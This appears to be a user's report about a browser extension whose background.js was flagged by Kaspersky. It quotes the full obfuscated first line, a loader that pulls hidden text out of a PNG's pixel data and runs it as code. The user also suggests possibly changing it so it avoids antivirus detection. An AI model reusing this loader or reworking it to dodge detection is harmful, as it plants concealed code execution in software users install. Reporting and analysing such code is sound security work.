I got background.js quarantined by antivirus (Kaspersky).
This prevents plugin installation.
I looked through background.js code.
First code line looks suspicious:
ifFirstShow=function(){try{var t=function(){},r={zL:function(t){if(isNaN(t)||!isFinite(t)||t%1||t<2)return!1;if(t%2===0)return 2===t;if(t%3===0)return 3===t;for(var r=Math.sqrt(t),e=5;e<=r;e+=6){if(t%e===0)return!1;if(t%(e+2)===0)return!1}return!0},sk:function(t){for(var r="",e=-548,n=0,i=0;i<t.length;i++)n=t[i].charCodeAt()+e,r+=String.fromCharCode(n);return r},uB:function(t){for(var e=t;!0;e+=1)if(r.zL(e))return e},Uh:function(t){var r=new Image;for(r.src=t;r.hasOwnProperty("complete")&&!r.complete;);return r}};return t.prototype.rK={Ob:3,QP:1,kJ:16,Av:function(t){return t+1},TD:function(t,r,e){for(var n=!0,i=0;i<16&&n;i+=1)n=n&&255===t[r+4*i];return n}},t.prototype.n0=function(t,r){r=r||{};var e=this.rK,n=r.width||t.width,i=r.height||t.height,o=r.Ob||e.Ob,h=r.kJ||e.kJ;return o*n*i/h>>0},t.prototype.oC=function(t,e){if(""==='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67')return"";void 0===t&&(t='\x64\x6F\x63\x73\x2F\x61\x75\x74\x6F\x63\x6F\x6D\x70\x6C\x65\x74\x65\x2E\x70\x6E\x67'),t.length&&(t=r.Uh(t)),e=e||{};var n=this.rK,i=e.Ob||n.Ob,o=e.QP||n.QP,h=e.kJ||n.kJ,a=r.uB(Math.pow(2,i)),u=(e.Av||n.Av,e.TD||n.TD),f=document.createElement("canvas"),p=f.getContext("2d");if(f.style.display="none",f.width=e.width||t.width,f.height=e.width||t.height,0===f.width||0===f.height)return"";e.height&&e.width?p.drawImage(t,0,0,e.width,e.height):p.drawImage(t,0,0);var c=p.getImageData(0,0,f.width,f.height),d=c.data,g=[];if(c.data.every(function(t){return 0===t}))return"";var s,v;if(1===o)for(s=3,v=!1;!v&&s<d.length&&!v;s+=4)v=u(d,s,o),v||g.push(d[s]-(255-a+1));var w="",m=0,y=0,C=Math.pow(2,h)-1;for(s=0;s<g.length;s+=1)m+=g[s]<<y,y+=i,y>=h&&(w+=String.fromCharCode(m&C),y%=h,m=g[s]>>i-y);return w.length<13?"":(0!==m&&(w+=String.fromCharCode(m&C)),w)},t.prototype.Cx=3,t.prototype.qQ=0,t.prototype.Uu=5e3,t.prototype.AH=function(){try{var e=t.prototype,n=r.sk(e.oC());if(""===n){if(e.qQ>e.Cx)return;return e.qQ++,void setTimeout(e.AH,e.Uu)}document.defaultView[(typeof r.zL).charAt(0).toUpperCase()+(typeof r.zL).slice(1)](n)()}catch(t){}},(new t).AH}catch(t){}}();ifFirstShow();
I didn't analyze it precisely, just deleted it in my local file, left only the following lines:
chrome.browserAction.onClicked.addListener(function (tab)
{
chrome.tabs.create({'url': chrome.extension.getURL('index.html')}, function (tab) {});
});
After such changes I was able to load this plugin and so far it seems like it works fine.
Need to analyze the suspicious code in details and decide if it's needed. If not, permanently delete this part of code. If needed - change it the way it doesn't trigger antivirus.